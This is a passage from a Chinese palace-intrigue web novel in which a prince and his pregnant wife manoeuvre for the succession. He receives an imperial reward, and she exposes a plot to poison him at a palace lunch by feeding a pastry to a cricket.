柳家十二岁以下男丁以及家眷流放,其余人等斩首。 近几日都在传柳家的事,一个百年世家,就这么完了。 天气转暖,院子里柳条抽芽,温若初早膳过后在院子里闲逛还听下人们提及柳家。 想起除夕宴那日柳妃恶狠狠看向她的眼神,以及对她肚子里孩子那怨毒的诅咒。 温若初垂眼轻轻抚了抚隆起的腹部,眼底满是柔和。 看来诅咒不能随便说出口,指不定哪日就反噬到自己身上。 秋菊在她身后搭了一件披风。“起风了,天儿还有些凉,公主早些回去吧,还有一个多月就临盆了,越是这个时候越马虎不得。” 温若初也有些累了,点点头。 “好,回去。” 冯文抱着两只兔子跟在温若初身后,一脸忧心,犹豫道。 “眼瞅晌午了,午膳准备公主一个人的,还是带上姑爷的?” 沈惊澜身子早恢复好了,依照对外宣称的伤情,最近几日能下床,“养伤”的这段日子,一直和她腻在荣王府。 一大早宫里来人传话,老皇帝召沈惊澜进宫。 之前沈惊澜每次进宫不出两个时辰就回来了。 温若初知道冯文问的是,沈惊澜有没有事。 在大虞苍兰苑的时候,沈惊澜除了她,也就是能和冯文说上两句话。 冯文是个直性子,有什么说什么,不知道说了多少得罪沈惊澜的话。 沈惊澜有事外出的时候,沈惊澜的两个兔儿子都是冯文照顾,用时髦的话说,他们是“兔友”。 如今沈惊澜身份今非昔比,没计较之前冯文的言行无状,还让冯文和小辛一起,管理府内庶务。 沈惊澜对冯文既是主仆也有昔日友情在。 问一个人有没有事?多少有点犯口忌。 向来说话直来直去不过脑子的冯文,也学会了拐弯抹角。 有些心疼,又有些欣慰,冯文也好,秋菊月儿也好,因她来到雍国。 人生地不熟的,说话,做事,要长八百个心眼子,唯恐被旁人挑到错处,失了她的脸面。 他们都在被迫成长。 温若初嘴角含笑,回头瞅了一眼冯文,半开玩笑调侃。 “不得了了,知道和本宫耍心眼了。” 冯文把兔子往上拎了拎,不好意思地笑了笑。 “哪有。” 秋菊和月儿也在看着她,大概是都挺关心沈惊澜的。 温若初直接挑明,“放心,你们的姑爷这次面见陛下是好事,吩咐厨房准备酒菜。” 柳家的案子了结,菜市口砍了两日的人头,震惊朝野,小半天的时间传遍都城大街小巷。 沈惊澜护驾挡刀受伤的事,街头巷尾百姓口耳相传,刚刚平息下来。 温若初又把“刺客相好的在镇南侯柳家”这一沾着桃色花边的消息散播出去。 也不知道怎么传的,传到后来成了老皇帝和刺客为了镇南侯府主母争风吃醋,进而引发了法华寺行刺一事。 温若初有些头疼,甭管消息是怎么传歪的,效果是出奇的好。 行刺和沈惊澜挡刀,两件事连在一起,于是沈惊澜被再次提了起来,成了坊间茶余饭后仅次于老皇帝的热门人物。 就连御史台都得到风声,上表陈情,都在劝说老皇帝不可感情用事,还为沈惊澜请法华寺护驾之功。 老皇帝新封了一个美人,夜夜宠幸,算是止住了桃色流言。 温若初紧接着又找了几个说书先生写童谣,侧重点在沈惊澜护驾有功上。 那些闲得蛋疼的御史台,又整日念叨沈惊澜护驾之功的事。 老皇帝想装耳聋眼瞎忽视沈惊澜的护驾之功,是不成了。 皇宫,御乾宫,老皇帝寝宫。 “身子好些了?” 老皇帝坐在矮榻上,和沈惊澜有一搭没一搭闲聊,手里捻着佛珠,时不时咳嗽两声。伺候左右的是新封的孙美人。 沈惊澜恭顺地站在老皇帝面前不远处,脸色煞白,身上带着一种熟悉的久病初愈后的病弱气息。 “托父皇的福,儿臣……咳咳咳……好多了。” 第143章 王爷不在,王妃就是主心骨 老皇帝沉着脸,撩起眼皮瞅了沈惊澜一眼,眼底闪过一丝厌恶,沉默半晌开口道。 “身子没好利索就坐下吧。” 小太监搬来软凳,沈惊澜也不推拒,道了一声谢就坐下了。 “谢父皇。” 老皇帝:“……” 两口子一模一样,分不清好赖脸,没拿自己当外人。 孙美人要给老皇帝捶另外一只腿,老皇帝摆了摆手,示意孙美人退下。 老皇帝坐正几分,看向沈惊澜。 “你替朕挡了一刀,说吧,想要什么赏赐?金银珠宝,高官厚禄,你是朕的儿子,有什么想要的尽管说,朕都满足你。” 沈惊澜闻言起身,恭敬地行了一个礼,身姿挺拔,神情庄重。 “父皇,儿臣生于皇家,先君臣,后父子,儿臣身为礼部七品主簿能伴驾法华寺,实乃儿臣莫大荣幸,刺客的刀朝父皇刺过来的那刻,儿臣别无他想,只一个念头,父皇身体安康,绝对不能有闪失。” “儿臣挡刀完全出于君臣义,父子情,儿臣无怨无悔,父皇若是执意赏赐些儿臣什么……” 沈惊澜略微迟疑一瞬,“……儿臣敌国为质十余载,愿父皇允准儿臣进宫请安,给儿臣一个尽孝机会。” 沈惊澜言辞真挚,面上丝毫瞧不出作伪痕迹,不卑不亢,前因后果说得清楚,要的只是一个随时进宫给老皇帝请安的机会,不要高官厚禄,金银珠宝。 老皇帝沉默良久,目光在沈惊澜身上来回打量,似是想从他脸上找出一丝伪装,片刻后,沉声开口。 “你不记恨朕?” 沈惊澜心口一紧,面上不动声色。 “记恨。” 老皇帝脸色更加阴沉,眯着眼睛,露出果然如此的表情。 御乾宫气氛倏然冷了下来,气压低得令人喘不过气。 在一边随侍的总管太监李公公,更是被沈惊澜这句大逆不道的话,吓得脸色煞白。 这位荣王殿下在法华寺伤的不是胸口,大概是伤到了脑子,就算是对陛下有恨,也不能当着面说出来。 沈惊澜接着说道:“儿臣八岁离开雍国,为质十余年,饱受凄苦折磨,儿臣心里有恨,儿臣不敢欺瞒父皇,每每看到别人家父慈子孝,多有艳羡,想着有朝一日也能在父皇膝前尽孝。” “日子久了,儿臣也逐渐明白,那不是恨,是儿臣想念家乡,想念父皇的孺慕不舍之情。” 沈惊澜扮弱十余年,察言观色功夫最是厉害,知道什么人想听什么话,驾轻熟路,好听的话不要钱是的说给老皇帝听。 老皇帝愣了愣,冷厉的脸上终于闪过一丝微不可查的动容,错开看沈惊澜的视线,看向别处。 “难为你了。” 顿了顿,像是终于放下了什么似的,释然般地叹了一口气。 “难得你有这份孝心,既如此,那就随时进宫来看朕吧,朕累了,你先回去吧。” 沈惊澜双膝跪地行礼,“儿臣叩谢父皇。” 沈惊澜走后,李公公红着眼睛嘀咕,声音都带上了几分哭腔。 “荣王殿下在大虞受了那么多苦,还能不忘本心,那日法华寺刺客的刀过来的时候,荣王殿下想都没想就冲过来了,那可真是没把自己的命当回事,一门心思护着陛下的,什么赏赐都不要,就说这份心意,实在感人。” “要说这荣王殿下可真是命大,受了那么重的伤,留了半盆的血都没事,八成也是感动了佛祖,佛祖护着荣王殿下呢……” 老皇帝黑着脸,白了一眼李公公。李公公察觉到老皇帝眼神,很快止住了哭腔,改口道。 “是……是佛祖庇佑陛下,陛下福泽深厚,荣王殿下沾了陛下的福气才转危为安。” “行了!闭嘴吧!” 老皇帝不耐烦地打断李公公的拍马屁。 老皇帝越想气越不顺,上元节法华寺那日,随行的几十个官员,十二个儿子包括沈星驰在内都去了。 替他挡刀的怎么就是沈惊澜呢? 刺客的刀过来的时候,那一瞬间,他是亲眼瞧见守在他身边的皇子朝臣们惶恐避之的眼神,刀插进沈惊澜胸口,这些人才忠心似的,把他围了起来,嘴里喊着“护驾”。 星驰当时在干嘛来着? 老皇帝叹了一口气,吩咐李公公。 “拟旨!” “陛下不是累了?” 李公公微讶。 老皇帝轻哼一声,“他说什么都不要,朕总不能什么都不赏,朕耳不聋眼不瞎坊间怎么传朕的闲话,朕都知道,总不能真留下无情无义的话柄,落了口舌!” 他心里纳闷,最近这些日子是怎么了,百姓和御史台格外活跃,跟喝了鸡血似的。 老皇帝叹了一口气,他一把年纪,还要抽出精力应付这些宵小之辈。 “是。” 李公公赶紧准备笔墨。 荣王府,书房。 “王爷替陛下挡了一刀,依属下看,应该趁机要兵权,手里有兵权,刀握在自己手里,我们才有底气。” “张大人所言非也,王爷刚刚有点起色,太早暴露,恐惹陛下猜忌,应该稳扎稳打一步一步先蚕食掉柳家的势力,再伺机打压太子。” 张山不乐意了,“依沈大人所言,如老妪磨磨,成大事不定猴年马月,王爷都等了十几年了,好不容易机会来了,难道还要继续等?” “就是因为王爷等了十几年,才更不应该差这一时半刻。” 古叔抿了一口气,烦躁地放下茶盏。 “都别吵了,王爷没回来,王妃还在这呢。” …… 温若初端坐茶台前,气定神闲地煮了第三壶茶。 沈惊澜为老皇帝挡刀,都知道沈惊澜被老皇帝召进皇宫,十有八九是给沈惊澜封赏。 温若初听着沈惊澜的这些幕僚你一句我一句商讨如何利用这次封赏,制定接下来的夺嫡计划。 她笑了笑,“诸位畅所欲言,拿到桌面上说开了,总比憋在心里强,等会王爷回来,说不定能带好消息。” 茶台对面坐着古叔礼部尚书张炳军,范天恩,还有两个沈惊澜早拉入麾下的朝臣,一个是吏部侍郎沈文,另一个御前参将张山。 方才吵得最凶的就是沈文和张山,一个建议要兵权,一个建议要官职。 没人说要银钱,因为不缺钱。 这些年沈惊澜经营天机阁积累的财富,完全可以支撑起一场大型战事花销。 温若初觉得兵权和官爵都不妥。 老皇帝手里握着兵权,不会轻易交出,就算是给了,那也是不情不愿,一声令下,沈惊澜容易变成空有虚衔的光杆司令。 至于官爵…… 沈惊澜已经贵为亲王,老皇帝心里迈不过那道坎,不会给沈惊澜太高的职位。 沈惊澜遭了那么大的罪,半条命都搭进去了,讨赏赐,就该讨些不一样的,老皇帝愿意给的,旁人都没有的。 正说着话,门房的人隔着门板传话。 “王妃,王爷回来了。” 紧闭门板被从外推开,沈惊澜走了进来。 身材修长,身穿青色朝服,身长而立,气息凛冽,背着光,跨步走了进来。 脚步沉稳,身形矫健,不见半分半个时辰前御乾宫里在老皇帝面前扮孝子的羸弱模样。 众人纷纷起身行礼,齐声道。 “王爷。” 温若初也跟着起身。 沈惊澜径直走到温若初身边。 “诸位坐。” 扶着温若初坐下,他跟着坐到温若初身边,两人相视一笑,微微点头,不必多言,已然明了。 温若初知道沈惊澜这次进宫收获颇丰。 范天恩藏不住事,性子有些急,他急着问道。 “陛下赏赐什么了?” 第144章 随时进宫请安 沈惊澜不紧不慢抿了一口茶,淡声开口。 “能随时进宫请安的特权。” 话音落地,整个书房瞬间安静下来,只剩下茶灶上铜壶里咕嘟咕嘟水沸声。 没有兵权,也没有加官进爵。 众人你看看我,我看看你,一个两个的嘴巴微张,眉心蹙起,看起来都沈惊澜求来的这个赏赐不大满意。 他们现在是一条船上的人,沈惊澜做出的每个决定,不仅仅关乎沈惊澜个人,更事关这条船上每一个人的荣辱,乃至身家性命。 柳家想托举晚辈,行刺老皇帝玩砸了,被沈惊澜捡漏。 有沈惊澜谋略过人的计谋,其中也少不了这些人多方协调运作。 刺客轻易近老皇帝的身,到后来的苦肉计,再到后来诱捕灭口刺客的衙役…… 其中任何一个环节出了纰漏,计划都不能顺利。 他们不满意,却不敢多言。 温若初察觉到这些人的不满,这些人不理解,她却知道沈惊澜用意。 眼神询问沈惊澜,沈惊澜对她点点头,示意她可以说。 温若初缓缓开口解释。 “陛下有十三位皇子……”尴尬地笑了笑,“十二位了。” 众人也跟着笑了笑,沉重压抑气氛减轻不少。 温若初神色正了几分,接着说道。 “只太子有随时进宫请安特权……” 一来,沈惊澜欲取太子之位代之,不动兵戎,用温吞稳妥的法子夺嫡,一步一步比肩太子,外人难免不多想。 沈星驰骄奢淫逸,人就怕对比,突然跳出来一个各方面都能干的沈惊澜,时间长了流言四起,众口铄金,老皇帝想一手遮天,也好顾及一二,沈星驰的那个太子位可就不稳了。 二来,“随时进宫请安”是晚辈对长辈尽孝,是人之常情,若是只拿这个当赏赐,就是老皇帝就是自己扯下自己的脸面,放在地上让天下人踩。 沈惊澜可是为老皇帝挨了一刀,老皇帝肯定还有给沈惊澜一些说得过去的赏赐,来堵悠悠众口。 三来,“随时进宫”是好事啊,多方便。请的是“安”,必要时,也可能是“命”。 温若初说话点到为止,只提醒一句话就不继续说了。 众人各个瞪大眼睛,忽觉头皮发麻,茅塞顿开,或多或少猜到了其中关窍,频频顿首。 正说关键问题,书房门板被扣响。 “咚!咚!咚!” 伴随着小辛的声音,“阁主,王妃,李公公来传旨了……” 老皇帝的亲信大太监来了,书房里的人在密谋造反,宰老皇帝的儿子。 沈惊澜不慌不慢放下茶盏,和温若初一起走出书房。 李公公也走进前院。 前院和书房只隔着一堵墙,说的话能清晰传到书房。 这个时候,李公公若是有那个实力和胆量,冲进书房,能把他们一锅端了,从此封侯拜相。 李公公尖细着嗓子宣读圣旨。 “奉天承运皇帝诏曰:荣王沈惊澜忠勇昭显,护驾有功,其心可嘉,其行可赞朕念其功绩卓然,特加恩赏,以彰其德。今赐沈惊澜黄金千两,明珠百颗,绸缎千匹,食邑三千户,世袭罔替,钦此!” “谢陛下,吾皇万岁万岁万万岁。” 沈惊澜叩谢后,接旨起身。 之前老皇帝免了温若初的大礼,温若初站在沈惊澜身边,对圣旨行了一个敛衽礼。 李公公笑盈盈地对沈惊澜道贺。 “恭喜王爷,王爷为陛下挡的这一刀,陛下心里记挂着呢,陛下说了,礼部侍郎于王爷来说是屈才了,陛下让王爷在歇息几日,兵部侍郎还有一个空缺,一直没得合适人选,王爷身子骨养好了,去兵部任职。” 礼部和兵部没法比,礼部是花架子,兵部手里握的是实权,听命皇帝。 柳家倒台后,老皇帝牢牢把兵权握在手里,居然敢放沈惊澜进兵部。 之前老皇帝封沈惊澜为荣王,说难听点,就是个虚衔,连基本的俸禄都没有。 如今给了封地,食邑三千户,沈惊澜王爷身份算是实打实的了。 温若初在一边听着,看来他们这段日子在老皇帝面前示弱扮孝顺,起到了一点效果。 至少证明,老皇帝对他们的戒备心,不似之前那般重了。 沈惊澜恭敬应声,“劳烦公公转达,本王知晓,本王定愈发勤勉,不负父皇厚望。” 温若初送给李公公两片金叶子。 “公公辛苦,这些给公公买茶水。” “王妃客气了,都是咱家的职责所在。” 李公公笑呵呵收下金叶子,交个朋友比多个仇人强,他在陛下面前说两句好话又不费什么劲。 老皇帝赏赐的东西堆了满满一院子,珠光宝气,金光灿灿的,晃得人眼睛疼。 李公公走后,书房里的几人出来,纷纷道贺。 调去兵部,又赏赐了黄金…… 这下没人拌嘴了。 待众人散去后,温若初按照每人二两黄金的分例,一等丫鬟和侍从多加一两黄金,让小辛和冯文给府里下人分发下去,让大家都跟着沾沾喜气。 可以比肩太子的权利,必须拿出来用上。 打铁趁热,隔天温若初和沈惊澜便利用“随时进宫请安”特权,明晃晃走进內宫。 经由太监通传后,两人走进御乾宫给老皇帝请安。 第145章 一肚子坏水 御乾宫除了老皇帝,皇后也在,下手位还坐着太子沈星驰,太子妃萧蔷。 老皇帝左手位置坐着两个孩童,两个孩童模样和沈星驰有七八分相似。 年长的十一二岁,很是乖巧,小小年纪便一身儒雅气,老皇帝问了他几句功课,年长孩童对答如流,只可惜,那年长孩童面色蜡黄,身形瘦弱,一看就是常年浸在药罐子里的。 年纪小的倒是瞧着康健,手里捧着蛐蛐罐子,对老皇帝问的经史子集,三个问题,两个不知道。 温若初和沈惊澜走上前,搭眼就瞧出两个孩子是孙子辈唯一活下来的男丁,小的叫沈烁,大的叫沈桓。 沈桓才学兼备,性子沉稳是老皇帝捧在手心里的嫡长孙。 “儿臣叩见父皇,吾皇万岁万岁万万岁,皇后娘娘千岁千岁千千岁。” 沈惊澜和温若初一跪一站,齐声高呼。 “平身吧!” 老皇帝高坐龙椅上,气色瞧着红润了一些,见沈惊澜和温若初的到来,或许也是看到两个小皇孙心情好了,脸上终于有了几分笑模样。 “朕知道你们定会过来,快到晌午了,你们母后,太子,太子妃,还有两个孩子都在,你们就别走了,一家人一起用膳。” 皇后也搭腔,“是啊,天气暖和了,陛下的身子也好些了,老九走的时候还小,太子还经常念叨老九来着,十几年了,兄弟之间难免生分,今天赶上了,你们兄弟也好熟络熟络。” 沈惊澜说是,看向沈星驰,态度恭顺。 “臣弟早该拜见太子殿下的,只是太子殿下门庭若市,往来皆达官显贵,臣弟递了几次拜帖没递进去,又一直琐事缠身,前阵子受了点伤……” 说话间隙恰到好处顿了顿,谁都知道沈惊澜受伤是因法华寺为老皇帝挡刀。 老皇帝不是好眼神,顺着沈惊澜的话茬,瞥了第一眼歪靠着坐在椅子里,身上还穿着明黄太子蟒袍的沈星驰。 沈惊澜面上带着歉意,接着说道:“……故一直耽搁了。” 沈星驰差距到老皇帝眼神,正了正坐姿,白了一眼沈惊澜,用只有自己听到的声音嘀咕。 “显到你了!” 在老皇帝警告视线再次看向他的时候,沈星驰收起脸上鄙夷之色,对沈惊澜扯了扯嘴角,笑道。 “九弟言重了,你我是亲兄弟,本宫又年长你十几岁,不会计较。” “谢太子殿下海涵。” 老皇帝满意哈哈笑了两声。 “没错,你们是亲兄弟,老九在兵部好好干,日后也好辅佐你兄长,生死攸关时刻,还是亲兄弟靠得住。” 沈惊澜:“‘辅佐’二字折煞儿臣了,为父皇,兄长分忧,是儿臣的本分。” 温若初坐在沈惊澜身边,静静听着。 原来老皇帝叫来皇后和沈星驰一家子,还留下她和沈惊澜用膳,是为了敲打沈惊澜。 让沈惊澜帮沈星驰那个废物。 把人家娘亲弄死了,还想让人家帮他…… 一把年纪一肚子坏水,想的倒是挺美! 沈惊澜态度恭顺,和老皇帝有问有答。 温若初脸上始终带着温和笑意,时不时点两下头,两人没有一分逾越不敬之举。 老皇帝,皇后对他们两个人态度貌似很满意。 麻痹对手效果达成,温若初和沈惊澜也很满意。 一屋子的人,各有各的算计,面上一团和气。 “这小老虎真好看。” 温若初身边传来一道奶声奶气的声音,她垂眸看去。 方才还坐在老皇帝身边玩曲曲,沈星驰的小儿子——沈烁,不知道什么时候跑到她身边,肉嘟嘟的小手轻抚她挂在腰间荷包。 这荷包原是秋菊绣给她肚子里的两个小家伙的,荷包上绣的是小老虎式样,眼球是玛瑙石打磨圆滑,穿成一个暗孔钉上去的,远远看上去活灵活现的。 温若初瞧着有意思,很是喜欢,就挂自己身上了,没想到这玩意也吸引小孩子。 大人之间的恩怨和孩子无关,温若初解下荷包。 “喜欢?” 沈烁点点头。 “那……送给你好不好?” “谢谢婶母。” 沈烁还没椅子高,也就五六岁,有些笨拙的夹着蛐蛐罐,很有礼貌地伸出双手接荷包,笑得眼睛弯成月牙,捧着荷包在脸上蹭了蹭,又转了两个圈。 温若初跟着沈烁笑了一会,抬眼注意到沈桓也在看着沈烁手里的荷包,好像也很想要的样子。 在温若初看沈桓的时候,沈桓装作不在意错开视线看向别处。 她房间里还有一个一模一样的荷包,沈桓若是寻常人家心性单纯的孩子,荷包也就送出去了。 可沈桓这孩子…… 温若初方才和沈惊澜走进来的时候,注意到沈桓看向沈惊澜和她那想掩饰又掩饰不好的轻蔑眼神。 那眼神里带着傲慢和敌意,和沈星驰如出一辙。 才十几岁就这么有心机。 一个荷包而已,不是什么稀罕玩意,沈桓没开口要,温若初也没有上赶着往出送的道理,扔火堆里烧了,也不给他。 “婶母陪我出去玩。” 沈烁扯着她的衣角,仰着一张圆乎乎的小脸央求。 皇后朝这边看来,“小烁性子活泼不服管教,本宫和陛下都头疼,没想到和老九媳妇到是和得来。” 眉眼间带着慈爱笑意,看向温若初。 “你也坐了一会儿了,出去走走,陪小烁玩会儿。” 没等温若初起身答应,沈烁迫不及待地牵着她的手指往外走。 “慢些!” 正在和老皇帝说话的沈惊澜像是多长了一只眼睛似的,回头叮嘱一句,眼神示意黄兰跟过去。 温若初还有一个月临盆,多添了几个丫鬟嬷嬷伺候。 为防万一,还特意把黄兰从天机阁掉了过来。 温若初和莫易宇打马球的时候,和黄兰接触过,成熟稳重,人也随和,最重要的是身手不错,近些日子出门她都是带着黄兰。 黄兰在温若初身侧搀扶着。 许是嫌弃温若初走得慢,沈烁牵着她的手指走了两步,松开了,蹦蹦跳跳跑出门,在一根廊柱子后的草丛里翻找着什么。 没一会儿沈烁迈着小短腿跑了过来,手里多了一个棕色小罐子,头发上还挂着一节枯草。 “婶母,这个蛐蛐叫大帅,可厉害了,送给妹妹。” 沈烁把手里的棕色罐子递给温若初。 沈烁娇憨的模样甚是可爱,温若初弯腰接过小罐子,摘掉挂在他头发上的枯草,随口问道。 “你怎么知道婶母肚子是妹妹,不是弟弟?” 沈烁歪着小脑袋瓜,撅了撅嘴巴,做认真思考状。 “呃……妹妹能活。” 第146章 婶母肚子里的是妹妹 妹妹能活,反过来就是弟弟不能活。 温若初脑子嗡的一声,愣在原地。 算上死了的沈飞白,老皇帝有十三个儿子,算是人丁兴旺了。 可孙子辈只沈星驰生了两个男丁,其余皇子妃们要么小产,要么孩子生下来早夭,能活下来的孩子都是女孩。 童言无忌,这里面果然有问题。 温若初稳了稳心神,还欲问沈烁点别的。 太子妃萧蔷走了过来,板着脸色,叫住沈烁。 “小烁就知道贪玩是不是,昨天的课业都没完成,也不和你大哥学学,赶紧和你大哥去崇文馆学习去,再贪玩夫子打你,我可不管你!” 沈烁蔫头耷脑地走过去,对太子妃萧蔷躬身道。 “母妃息怒,小烁这就去崇文馆补课业。” 萧蔷伸手把挂在沈烁腰上那枚小老虎荷包要了过去。 沈烁撅着嘴巴,跟着小太监走了,走之前还恋恋不舍地瞅了温若初好几眼。 太子妃萧蔷目送沈烁离开,回头睨了一眼温若初,嘴角勾起轻蔑弧度。 “马上传膳了,九弟妹可别让陛下母后等你。” “多谢太子妃娘娘提醒,臣妾断然不会让父皇和太后娘娘等。” 温若初态度恭顺着回道,抬眼看向太子妃萧蔷,“倒是太子妃娘娘对两位小皇孙的课业还真是严苛,眼瞅要传膳了,也要把两位小皇孙遣送去崇文馆。” 她嘴角含笑,意有所指,“不知道的,还以为怕两位小皇孙童言无忌,说了些什么呢。” 萧蔷面上划过一丝心虚,那种瞧不起人的高傲气势瞬间减弱。 “小……小孩子只会胡说八道,弟妹可别当真。”手中小老虎荷包递还给温若初。 温若初没接,“已经送给小皇孙殿下了。” “他九婶母的好意本宫代小烁心领了,东宫什么都不缺,布料和绣娘都是个顶个的好,这等成色的物件,配不上小皇孙的身份,他九婶母还是自己留着吧。” 萧蔷似乎是找回了一些底气,梗着脖子,说话把小老虎荷包递到温若初手里。 温若初手上不稳,小老虎荷包没接住掉到地上。 表演痕迹严重,明显就是故意不接,才掉到地上。 萧蔷脸色不好,刚要发作,温若初赶紧弯腰作势去捡地上荷包。 她上前一小步,绣鞋“不小心”踩到荷包上。 “哎呀!瞧我怀着身子,粗手笨脚的,一个荷包没接住不说,捡都捡不起来。” 挪开鞋子,小老虎荷包印上一个明晃晃鞋印。 黄兰弯腰捡了起来,“王妃,荷包脏了。” “脏了就不要了,荷包,咱们荣王府要多少有多少。” 萧蔷脸色更不好了,气得脸红脖子粗,嘴巴在关键时刻卡壳,不知道该如何怼温若初。 明明她是万人敬仰的太子妃,在温若初面前总感觉矮了一头。 萧蔷愤愤地瞪了温若初好几眼,跺了一下脚,气鼓鼓地扭头走了。 温若初和黄兰对视一眼,无声轻笑。 萧蔷是从皇后娘家选上来的,都说媳妇像婆婆,皇后小女人心思,这位太子妃娘娘也同样小女人。 黄兰手里握着荷包,“那这荷包……” “你自己处理吧,不要了。” 温若初看着萧蔷离开背影,可惜地摇了摇头。 心里一阵唏嘘,沈烁才五六岁,性子活泼,心性单纯,挺好的一个孩子,温若初是真心喜欢沈烁那孩子的。 可惜了,摊上那样的爹娘,真是歹竹出好笋。 “回去吧。” 温若初正要抬步和黄兰折返回御乾宫,余光扫到不远处两个小宫女鬼鬼祟祟拉拉扯扯的。 其中一个她认得,是柳妃贴身伺候的小宫女,好像叫绘春。 柳家倒了,老皇帝以行刺皇帝大逆不道的罪行,砍了柳家所有十二岁以前男丁的头,十二岁以下男丁和女眷发配。 柳妃却在老皇帝降罪柳家的前一晚,莫名其妙疯了,见谁都吐口水,抱着枕头唱哄孩童入睡的摇篮曲。 老皇帝顾念旧情,留了柳妃一条命,柳妃继续留住翠云居,只撤掉了几个伺候的太监和宫女,留下这个绘春给柳妃,算是惩处。 柳妃真疯假疯尚无定论,总之柳家这次遭难,柳妃是逃过了一劫。 黄兰顺着温若初的视线看过去,她没见过绘春。 “那两个宫女有什么不对劲?” “不知道。” 温若初收回视线,绘春不在翠云居伺候柳妃,却出现在御乾宫前,不是什么好事。 “快传膳了,我们回去。” 温若初折返回御乾宫没一会儿老皇帝就吩咐总管太监李公公传膳。 老皇帝和皇后坐在首桌,右手边沈星驰和萧蔷,左手边温若初和沈惊澜。 三张长条形桌子呈“品”字形排列,右为尊,左次之。 太监宫女开始布菜,给温若初这桌布菜的正是刚刚在御乾宫外和绘春拉拉扯扯的小宫女。 小宫女身形偏瘦,十三四岁,脚上穿着一双藕粉色鞋子,温若初绝对没认错。 小宫女端着菜过来的时候,温若初本就打起十二分的精神,又增添了几分,状似和沈惊澜低声说笑,余光始终盯着藕粉鞋小宫女。 小宫女把一盘雪花酥放到沈惊澜面前的时候,那双手抖得,盘子码放的雪花酥差点没掉出来。 温若初若无其事的样子,坐在软椅里,蛐蛐罐随手放到桌上。 也不知道沈烁那孩子在哪里逮得“大帅”,叫声响亮一声接着一声,引起了老皇帝注意,朝蛐蛐罐瞅了两眼。 皇后也注意到了蛐蛐叫声,看向温若初这边,面上带着笑意,随口问道。 “老九媳妇怎么也弄起小孩子的玩意了?” 众人都朝她这边看了过来。 沈惊澜也是一脸不明所以地看着她。 温若初解释,“是小皇孙殿下塞给儿臣的,儿臣瞧着这只蛐蛐油光发亮精神头十足的就留下了,”歉意地笑了笑,“没想到叫这么大声,或许是关罐子里饿了。” 就这么当着老皇帝和众人的面,拧开木罐盖子,一只又黑又亮的蛐蛐爬了出来。 筷子夹起拇指盖大小雪花酥放到蛐蛐前,蛐蛐啃了两口,不过是几息,那蛐蛐停止了叫声,六脚朝天剧烈蹬腿,没一会儿就一动不动了。 第147章 下毒 油黑发亮看着就精神头十足的蛐蛐啃了一口雪花酥——死了。 显然,沈惊澜面前的这盘雪花酥被人动了手脚。 众人脸色都变了,瞪大眼睛看着死在桌子上蛐蛐尸体。 御乾宫有一瞬间的安静。 还是总管太监高喊一声。 “来人啊,护驾!有人行刺!” 守在御乾宫外的禁军提着长枪冲了进来,一时间御乾宫充斥着肃杀之气,气氛瞬间紧张起来。 温若初桌子下的手紧紧按住沈惊澜手腕。 皮肤温度冰冷,比他寒毒发作的时候还要冷上一些,温若初触上去不觉打了一个冷颤。 雪花酥是放在沈惊澜面前,背后之人目标是要沈惊澜的命。 她一直没机会告诉沈惊澜,在宫门外瞧见绘春和小宫女拉扯的事。 老皇帝也曾经用在食物里投毒的方法,要沈惊澜的命,或许是触发了记忆中那段痛苦回忆。 沈惊澜微微低着头,放在膝盖上的手紧紧握成拳头,因过于用力,手背青色血管明显凸起,身体微微颤抖着,从毛孔里渗出来的恨意,都快压不住了。 沈惊澜眼底泛红,察觉到手腕上传来的温热气息,偏头看她。 温若初微微摇了摇头,捏了捏沈惊澜手腕,沈惊澜身上寒意逐渐减弱。 安抚好沈惊澜,温若初站起身,眼角挤出几点泪珠。 “父皇为儿臣做主啊,有人想要儿臣和儿臣腹中胎儿性命,儿臣的姑母前两日还传信问儿臣腹中两位小公子情况,今日就险些……” 用帕子抹了抹眼泪,故意停顿一下,像是极度害怕哽咽着说不出话的样子,抽抽搭搭一会儿才接着说道。 “若是真出了什么好歹,儿臣没法和外祖姑母交代?” 温若初提了好几句外祖姑母,大虞国力强盛,不是四分五裂的雍国可比的。 老登不是真心待沈惊澜,他们处境艰难,需要一个强大而有力的靠山,虽说大虞这座靠山远些,却足以达成威慑效果。 沈惊澜很快调整好情绪,起身揽住温若初肩膀,轻声安抚。 “没事了,没事了,父皇会为我们做主的。” 老皇帝:“……” 他还没说话呢,这两人一唱一和就替他做上主了。 到底是生了投毒事端,还摆在桌面上,沈惊澜和温若初言语间有些僭越,老皇帝却不好多说什么,还得顺着他们的意思。 老皇帝坐在主位上,脸色阴沉地瞅了一眼沈惊澜身前菜品。 “宵小之辈胆敢行刺到御乾宫,给朕查,菜品都是何人经手,又是何人转送,查出是谁,朕绝不轻饶!” 李公公赶紧应声去查,方才经手菜品的太监宫女都被带了出去。 温若初和沈惊澜坐在原来的座位上等消息。 没一会儿,李公公迈步走了进来,身后禁军押着绘春,和方才给沈惊澜端菜的小宫女。 李公公经过这边的时候,睃了一眼沈惊澜,对端坐在主位上的老皇帝禀告。 “回陛下,已查明了,是翠云居的掌事宫女绘春指使传菜宫女小桃,下毒谋害荣王殿下。” 老皇帝神色明显松了下来,抬眼看向绘春,不怒自威。 “你为何下毒谋害荣王?” 不等绘春答话,皇后跳出来,怒声道。 “翠云居的,你可是受柳妃指使?” 绘春被禁军反拧胳膊,大义赴死般嗤笑一声。 “柳妃娘娘患了失心之症,如何能指使我,”偏头恶狠狠的目光瞪着沈惊澜,“你杀了六殿下,六殿下若是没死,娘娘就不会患失心症,都是你害的……” “满口胡言!” 老皇帝黑着脸打断绘春辩解,眉心微蹙,一脸不耐烦,似乎不愿再听绘春辩解一句。 “拖出去,杖杀。” “陛下,是沈惊澜杀了六殿下,是沈惊澜杀了六殿下!陛下要为六殿下做主啊,千万别信沈惊澜,沈惊澜是擦起獠牙的豺狼,陛下……啊!” 绘春被禁军拖了下去,哀嚎祈求被凄惨叫声取代,伴随着板子落在皮肉上的沉闷声响,约莫一盏茶的时间,宫门外惨叫声小了,最后没了动静。 身穿铠甲禁军进来禀告,打了五十多板子,绘春死了。 沈惊澜拱手道,“父皇,小初受了惊吓,求父皇恩准儿臣带小初先回去。” “准了。” 老皇帝还赏赐了一些名贵补品和药材,让沈惊澜一并带回去,并许诺一定会给温若初一个满意答复。 出了绘春投毒的事,午膳没吃成。 温若初到都城也有几个月了,到目前为止,皇宫里的东西包括茶水一口都没进肚子。 折腾了一小天都饿了。 温若初和沈惊澜回府就吩咐小厨房做了一桌子好吃的。 坐在桌前,黄素搭配吃了一个半饱,温若初抬头沈惊澜碗里米饭,只动了一点点,沈惊澜握着筷子好半天都不动,好像有什么心事。 